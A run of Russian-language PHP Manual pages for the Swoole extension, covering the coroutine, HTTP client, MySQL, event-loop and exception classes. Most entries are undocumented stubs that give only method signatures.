  • Swoole\Coroutine\Client::getpeername — Описание
  • Swoole\Coroutine\Client::getsockname — Описание
  • Swoole\Coroutine\Client::isConnected — Описание
  • Swoole\Coroutine\Client::recv — Описание
  • Swoole\Coroutine\Client::send — Описание
  • Swoole\Coroutine\Client::sendfile — Описание
  • Swoole\Coroutine\Client::sendto — Описание
  • Swoole\Coroutine\Client::set — Описание
  • Swoole\Coroutine\Http\Client::addFile — Описание
  • Swoole\Coroutine\Http\Client::close — Описание
  • Swoole\Coroutine\Http\Client::__construct — Описание
  • Swoole\Coroutine\Http\Client::__destruct — Описание
  • Swoole\Coroutine\Http\Client::execute — Описание
  • Swoole\Coroutine\Http\Client::get — Описание
  • Swoole\Coroutine\Http\Client::getDefer — Описание
  • Swoole\Coroutine\Http\Client::isConnected — Описание
  • Swoole\Coroutine\Http\Client::post — Описание
  • Swoole\Coroutine\Http\Client::recv — Описание
  • Swoole\Coroutine\Http\Client::set — Описание
  • Swoole\Coroutine\Http\Client::setCookies — Описание
  • Swoole\Coroutine\Http\Client::setData — Описание
  • Swoole\Coroutine\Http\Client::setDefer — Описание
  • Swoole\Coroutine\Http\Client::setHeaders — Описание
  • Swoole\Coroutine\Http\Client::setMethod — Описание
  • Swoole\Coroutine\MySQL::close — Описание
  • Swoole\Coroutine\MySQL::connect — Описание
  • Swoole\Coroutine\MySQL::__construct — Описание
  • Swoole\Coroutine\MySQL::__destruct — Описание
  • Swoole\Coroutine\MySQL::getDefer — Описание
  • Swoole\Coroutine\MySQL::query — Описание
  • Swoole\Coroutine\MySQL::recv — Описание
  • Swoole\Coroutine\MySQL::setDefer — Описание
  • Swoole\Coroutine::getuid — Описание
  • Swoole\Coroutine::resume — Описание
  • Swoole\Coroutine::suspend — Описание

User Contributed Notes

There are no user contributed notes for this page.


Вызывает callback-функцию с массивом параметров

  • « Swoole\Coroutine
  • Swoole\Coroutine::call_user_func »
  • PHP Manual
  • Swoole\Coroutine
  • Вызывает callback-функцию с массивом параметров

Swoole\Coroutine::call_user_func_array

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func_array — Вызывает callback-функцию с массивом параметров

Описание

public static Swoole\Coroutine::call_user_func_array(callable $callback, array $param_array): mixed

Вызывает callback-функцию, заданную первым параметром с параметрами в param_array.

Список параметров

callback

Функция callable для вызова.

param_array

Ноль или более параметров для передачи в callback-функцию.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Вызывает callback-функцию, заданную первым параметром

  • « Swoole\Coroutine::call_user_func_array
  • Swoole\Coroutine::cli_wait »
  • PHP Manual
  • Swoole\Coroutine
  • Вызывает callback-функцию, заданную первым параметром

Swoole\Coroutine::call_user_func

(PECL swoole >= 2.0.0)

Swoole\Coroutine::call_user_func — Вызывает callback-функцию, заданную первым параметром

Описание

public static Swoole\Coroutine::call_user_func(callable $callback, mixed ...$args): mixed

Вызывает callback-функцию, заданную первым параметром и передаёт оставшиеся параметры в качестве аргументов.

Список параметров

callback

Функция callable для вызова.

args

Ноль или более параметров для передачи в callback-функцию.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine::call_user_func
  • Swoole\Coroutine::create »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine::cli_wait

(PECL swoole >= 2.0.0)

Swoole\Coroutine::cli_wait — Описание

Описание

public static Swoole\Coroutine::cli_wait(): ReturnType

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine::cli_wait
  • Swoole\Coroutine\Client::close »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine::create

(PECL swoole >= 2.0.0)

Swoole\Coroutine::create — Описание

Описание

public static Swoole\Coroutine::create(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine::create
  • Swoole\Coroutine\Client::connect »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::close — Описание

Описание

public Swoole\Coroutine\Client::close(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::close
  • Swoole\Coroutine\Client::__construct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::connect — Описание

Описание

public Swoole\Coroutine\Client::connect(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::connect
  • Swoole\Coroutine\Client::__destruct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__construct — Описание

Описание

public Swoole\Coroutine\Client::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::__construct
  • Swoole\Coroutine\Client::getpeername »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::__destruct — Описание

Описание

public Swoole\Coroutine\Client::__destruct(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::__destruct
  • Swoole\Coroutine\Client::getsockname »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::getpeername

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getpeername — Описание

Описание

public Swoole\Coroutine\Client::getpeername(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::getpeername
  • Swoole\Coroutine\Client::isConnected »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::getsockname

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::getsockname — Описание

Описание

public Swoole\Coroutine\Client::getsockname(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::getsockname
  • Swoole\Coroutine\Client::recv »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::isConnected — Описание

Описание

public Swoole\Coroutine\Client::isConnected(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::isConnected
  • Swoole\Coroutine\Client::send »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::recv — Описание

Описание

public Swoole\Coroutine\Client::recv(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::recv
  • Swoole\Coroutine\Client::sendfile »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::send

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::send — Описание

Описание

public Swoole\Coroutine\Client::send(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::send
  • Swoole\Coroutine\Client::sendto »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::sendfile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendfile — Описание

Описание

public Swoole\Coroutine\Client::sendfile(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::sendfile
  • Swoole\Coroutine\Client::set »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::sendto

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::sendto — Описание

Описание

public Swoole\Coroutine\Client::sendto(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::sendto
  • Swoole\Coroutine\Http\Client::addFile »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Client::set — Описание

Описание

public Swoole\Coroutine\Client::set(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Client::set
  • Swoole\Coroutine\Http\Client::close »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::addFile

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::addFile — Описание

Описание

public Swoole\Coroutine\Http\Client::addFile(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::addFile
  • Swoole\Coroutine\Http\Client::__construct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::close — Описание

Описание

public Swoole\Coroutine\Http\Client::close(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::close
  • Swoole\Coroutine\Http\Client::__destruct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__construct — Описание

Описание

public Swoole\Coroutine\Http\Client::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::__construct
  • Swoole\Coroutine\Http\Client::execute »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::__destruct — Описание

Описание

public Swoole\Coroutine\Http\Client::__destruct(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::__destruct
  • Swoole\Coroutine\Http\Client::get »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::execute

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::execute — Описание

Описание

public Swoole\Coroutine\Http\Client::execute(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::execute
  • Swoole\Coroutine\Http\Client::getDefer »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::get

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::get — Описание

Описание

public Swoole\Coroutine\Http\Client::get(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::get
  • Swoole\Coroutine\Http\Client::isConnected »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::getDefer — Описание

Описание

public Swoole\Coroutine\Http\Client::getDefer(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::getDefer
  • Swoole\Coroutine\Http\Client::post »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::isConnected

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::isConnected — Описание

Описание

public Swoole\Coroutine\Http\Client::isConnected(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::isConnected
  • Swoole\Coroutine\Http\Client::recv »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::post

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::post — Описание

Описание

public Swoole\Coroutine\Http\Client::post(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::post
  • Swoole\Coroutine\Http\Client::set »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::recv — Описание

Описание

public Swoole\Coroutine\Http\Client::recv(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::recv
  • Swoole\Coroutine\Http\Client::setCookies »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::set

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::set — Описание

Описание

public Swoole\Coroutine\Http\Client::set(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::set
  • Swoole\Coroutine\Http\Client::setData »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::setCookies

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setCookies — Описание

Описание

public Swoole\Coroutine\Http\Client::setCookies(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::setCookies
  • Swoole\Coroutine\Http\Client::setDefer »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::setData

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setData — Описание

Описание

public Swoole\Coroutine\Http\Client::setData(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::setData
  • Swoole\Coroutine\Http\Client::setHeaders »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::setDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setDefer — Описание

Описание

public Swoole\Coroutine\Http\Client::setDefer(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::setDefer
  • Swoole\Coroutine\Http\Client::setMethod »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::setHeaders

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setHeaders — Описание

Описание

public Swoole\Coroutine\Http\Client::setHeaders(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::setHeaders
  • Swoole\Coroutine\MySQL::close »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\Http\Client::setMethod

(PECL swoole >= 2.0.0)

Swoole\Coroutine\Http\Client::setMethod — Описание

Описание

public Swoole\Coroutine\Http\Client::setMethod(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\Http\Client::setMethod
  • Swoole\Coroutine\MySQL::connect »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::close

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::close — Описание

Описание

public Swoole\Coroutine\MySQL::close(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::close
  • Swoole\Coroutine\MySQL::__construct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::connect

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::connect — Описание

Описание

public Swoole\Coroutine\MySQL::connect(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::connect
  • Swoole\Coroutine\MySQL::__destruct »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::__construct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__construct — Описание

Описание

public Swoole\Coroutine\MySQL::__construct()

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::__construct
  • Swoole\Coroutine\MySQL::getDefer »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::__destruct

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::__destruct — Описание

Описание

public Swoole\Coroutine\MySQL::__destruct(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::__destruct
  • Swoole\Coroutine\MySQL::query »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::getDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::getDefer — Описание

Описание

public Swoole\Coroutine\MySQL::getDefer(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::getDefer
  • Swoole\Coroutine\MySQL::recv »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::query

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::query — Описание

Описание

public Swoole\Coroutine\MySQL::query(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::query
  • Swoole\Coroutine\MySQL::setDefer »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::recv

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::recv — Описание

Описание

public Swoole\Coroutine\MySQL::recv(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::recv
  • Swoole\Coroutine::getuid »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine\MySQL::setDefer

(PECL swoole >= 2.0.0)

Swoole\Coroutine\MySQL::setDefer — Описание

Описание

public Swoole\Coroutine\MySQL::setDefer(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine\MySQL::setDefer
  • Swoole\Coroutine::resume »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine::getuid

(PECL swoole >= 2.0.0)

Swoole\Coroutine::getuid — Описание

Описание

public static Swoole\Coroutine::getuid(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine::getuid
  • Swoole\Coroutine::suspend »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine::resume

(PECL swoole >= 2.0.0)

Swoole\Coroutine::resume — Описание

Описание

public static Swoole\Coroutine::resume(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Coroutine::resume
  • Swoole\Event »
  • PHP Manual
  • Swoole\Coroutine
  • Описание

Swoole\Coroutine::suspend

(PECL swoole >= 2.0.0)

Swoole\Coroutine::suspend — Описание

Описание

public static Swoole\Coroutine::suspend(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Event

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Event {
/* Методы */
public static add(
int $fd,
callable $read_callback,
callable $write_callback = ?,
string $events = ?
): bool
public static defer(mixed $callback): void
public static del(string $fd): bool
public static exit(): void
public static set(
int $fd,
string $read_callback = ?,
string $write_callback = ?,
string $events = ?
): bool
public static wait(): void
public static write(string $fd, string $data): void
}

Содержание

  • Swoole\Event::add — Добавляет новые callback-функции сокета в EventLoop
  • Swoole\Event::defer — Добавляет callback-функцию в следующий цикл событий
  • Swoole\Event::del — Удаляет все callback-функции события сокета
  • Swoole\Event::exit — Выходит из цикла событий, доступно только на стороне клиента
  • Swoole\Event::set — Обновляет callback-функции события сокета
  • Swoole\Event::wait — Описание
  • Swoole\Event::write — Записывает данные в сокет

User Contributed Notes

There are no user contributed notes for this page.


Добавляет новые callback-функции сокета в EventLoop

  • « Swoole\Event
  • Swoole\Event::defer »
  • PHP Manual
  • Swoole\Event
  • Добавляет новые callback-функции сокета в EventLoop

Swoole\Event::add

(PECL swoole >= 1.9.0)

Swoole\Event::add — Добавляет новые callback-функции сокета в EventLoop

Описание

public static Swoole\Event::add(
int $fd,
callable $read_callback,
callable $write_callback = ?,
string $events = ?
): bool

Список параметров

fd

read_callback

write_callback

events

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет callback-функцию в следующий цикл событий

  • « Swoole\Event::add
  • Swoole\Event::del »
  • PHP Manual
  • Swoole\Event
  • Добавляет callback-функцию в следующий цикл событий

Swoole\Event::defer

(PECL swoole >= 1.9.0)

Swoole\Event::defer — Добавляет callback-функцию в следующий цикл событий

Описание

public static Swoole\Event::defer(mixed $callback): void

Список параметров

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все callback-функции события сокета

  • « Swoole\Event::defer
  • Swoole\Event::exit »
  • PHP Manual
  • Swoole\Event
  • Удаляет все callback-функции события сокета

Swoole\Event::del

(PECL swoole >= 1.9.0)

Swoole\Event::del — Удаляет все callback-функции события сокета

Описание

public static Swoole\Event::del(string $fd): bool

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выходит из цикла событий, доступно только на стороне клиента

  • « Swoole\Event::del
  • Swoole\Event::set »
  • PHP Manual
  • Swoole\Event
  • Выходит из цикла событий, доступно только на стороне клиента

Swoole\Event::exit

(PECL swoole >= 1.9.0)

Swoole\Event::exit — Выходит из цикла событий, доступно только на стороне клиента

Описание

public static Swoole\Event::exit(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Обновляет callback-функции события сокета

  • « Swoole\Event::exit
  • Swoole\Event::wait »
  • PHP Manual
  • Swoole\Event
  • Обновляет callback-функции события сокета

Swoole\Event::set

(PECL swoole >= 1.9.0)

Swoole\Event::set — Обновляет callback-функции события сокета

Описание

public static Swoole\Event::set(
int $fd,
string $read_callback = ?,
string $write_callback = ?,
string $events = ?
): bool

Список параметров

fd

read_callback

write_callback

events

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Event::set
  • Swoole\Event::write »
  • PHP Manual
  • Swoole\Event
  • Описание

Swoole\Event::wait

(PECL swoole >= 1.9.0)

Swoole\Event::wait — Описание

Описание

public static Swoole\Event::wait(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

Mohamed Ramadan 05-Oct-2020 12:54
you can defined any function and didn't return any response till you end server
// write hello in terminal every 1 second and didnt stop
Swoole\Timer::tick(1000, function () {
    echo "hello\n";
});

Swoole\Event::wait();


Записывает данные в сокет

  • « Swoole\Event::wait
  • Swoole\Exception »
  • PHP Manual
  • Swoole\Event
  • Записывает данные в сокет

Swoole\Event::write

(PECL swoole >= 1.9.0)

Swoole\Event::write — Записывает данные в сокет

Описание

public static Swoole\Event::write(string $fd, string $data): void

Список параметров

fd

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Exception

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Exception extends Exception implements Throwable {
/* Наследуемые свойства */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
}

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Http\Client

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Http\Client {
/* Свойства */
public $errCode;
public $sock;
/* Методы */
public addFile(
string $path,
string $name,
string $type = ?,
string $filename = ?,
string $offset = ?
): void
public close(): void
public __destruct(): void
public download(
string $path,
string $file,
callable $callback,
int $offset = ?
): void
public execute(string $path, string $callback): void
public get(string $path, callable $callback): void
public isConnected(): bool
public on(string $event_name, callable $callback): void
public post(string $path, string $data, callable $callback): void
public push(string $data, string $opcode = ?, string $finish = ?): void
public set(array $settings): void
public setCookies(array $cookies): void
public setData(string $data): ReturnType
public setHeaders(array $headers): void
public setMethod(string $method): void
public upgrade(string $path, string $callback): void
}

Свойства

errCode

sock

Содержание

  • Swoole\Http\Client::addFile — Добавляет файл в форму сообщения
  • Swoole\Http\Client::close — Закрывает http-соединение
  • Swoole\Http\Client::__construct — Создаёт асинхронный HTTP-клиент
  • Swoole\Http\Client::__destruct — Уничтожает HTTP-клиент
  • Swoole\Http\Client::download — Загружает файл с удалённого сервера
  • Swoole\Http\Client::execute — Посылает HTTP-запрос после установки параметров
  • Swoole\Http\Client::get — Отправляет HTTP-запрос GET на удалённый сервер
  • Swoole\Http\Client::isConnected — Проверяет, подключено ли соединение HTTP
  • Swoole\Http\Client::on — Регистрирует callback-функцию по имени события
  • Swoole\Http\Client::post — Отправляет HTTP-запрос POST на удалённый сервер
